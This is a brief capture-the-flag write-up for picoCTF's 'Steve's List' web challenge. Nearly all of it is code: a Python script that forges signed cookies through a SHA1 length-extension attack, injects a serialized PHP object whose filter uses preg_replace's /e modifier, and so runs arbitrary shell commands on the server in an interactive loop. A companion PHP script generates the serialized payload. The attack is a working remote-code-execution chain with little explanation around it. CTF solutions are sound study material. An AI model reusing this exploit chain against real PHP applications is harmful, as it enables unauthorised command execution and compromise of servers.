A walkthrough of the steve’s list challenge from picoCTF.
My code
I don’t enjoy web challenges too much but here is the code I wrote for this challenge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
import hlextend
#from pwn import *
import urllib
import sys
import requests
#You can use this program with an argument and it will execute the argument as a command on the target.
#You can also use it interactively by not providing arguments
#this challenge is a litle far fetched but here it is:
#bug1 : The sha1 hash is vulnerable to a length extention attack.
#bug2 : unserialize allows instantiating objects. An object also has magic functions that can be defined which will be executed on certain event.
#bug3 : User controls grep_replace values. The php grep_replace support the e modifier which executes the replacement value as code.
def sendcommand(c):
command = 'echo QWERTYUIOP;'
command += c
command += ';echo QWERTYUIOP'
#This template was generated using my php script
template = """b:1;\nO:4:"Post":3:{s:8:"\x00*\x00title";s:14:"The post title";s:7:"\x00*\x00text";s:16:"The post content";s:10:"\x00*\x00filters";a:1:{i:0;O:6:"Filter":2:{s:10:"\x00*\x00pattern";s:7:"/post/e";s:7:"\x00*\x00repl";s:%d:"system('%s')";}}}"""
data = template % (len(command) + len("system('')"), command)
sha = hlextend.new('sha1')
newdata = data[4:].replace('s:11:"AUTH_SECRET"','o:11:"AUTH_SECRET"')
data = sha.extend(newdata, 'b:1;', 8, '2141b332222df459fd212440824a35e63d37ef69').decode('string_escape')
cus_set = urllib.quote(urllib.quote(data))
cus_hash = sha.hexdigest()
cookies = dict(custom_settings=cus_set, custom_settings_hash=cus_hash)
r = requests.get('http://steveslist.picoctf.com/', cookies=cookies);
start = r.text.find('QWERTYUIOP') + len('QWERTYUIOP')
end = r.text[start:].find('QWERTYUIOP') + start -1
print r.text[start:end]
if len(sys.argv) > 1:
command = ''
for i in range(1,len(sys.argv)):
command += sys.argv[i] + ' '
print "Executing command: %s" % command
sendcommand(command)
else:
print "Runnin interactive mode. Type quit to quit."
while 1:
command = raw_input('$ ')
if 'quit' in command:
break
sendcommand(command)
Mu php script used to generate the template in my python script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class Filter {
protected $pattern;
protected $repl;
function __construct($pattern, $repl) {
$this->pattern = $pattern;
$this->repl = $repl;
}
function filter($data) {
return preg_replace($this->pattern, $this->repl, $data);
}
};
$standard_filter_set = [new Filter("/post/e", "system('" . $argv[1] . "')")];
class Post {
protected $title;
protected $text;
protected $filters;
function __construct($title, $text, $filters) {
$this->title = $title;
$this->text = $text;
$this->filters = $filters;
}
function get_title() {
return htmlspecialchars($this->title);
}
function display_post() {
$text = htmlspecialchars($this->text);
foreach ($this->filters as $filter)
$text = $filter->filter($text);
return $text;
}
function __destruct() {
}
};
$custom_settings = array();
$custom_settings[] = serialize(true);
$custom_settings[] = serialize(new Post("The post title", "The post content", $standard_filter_set));
echo implode("\n",$custom_settings);
?>
enjoy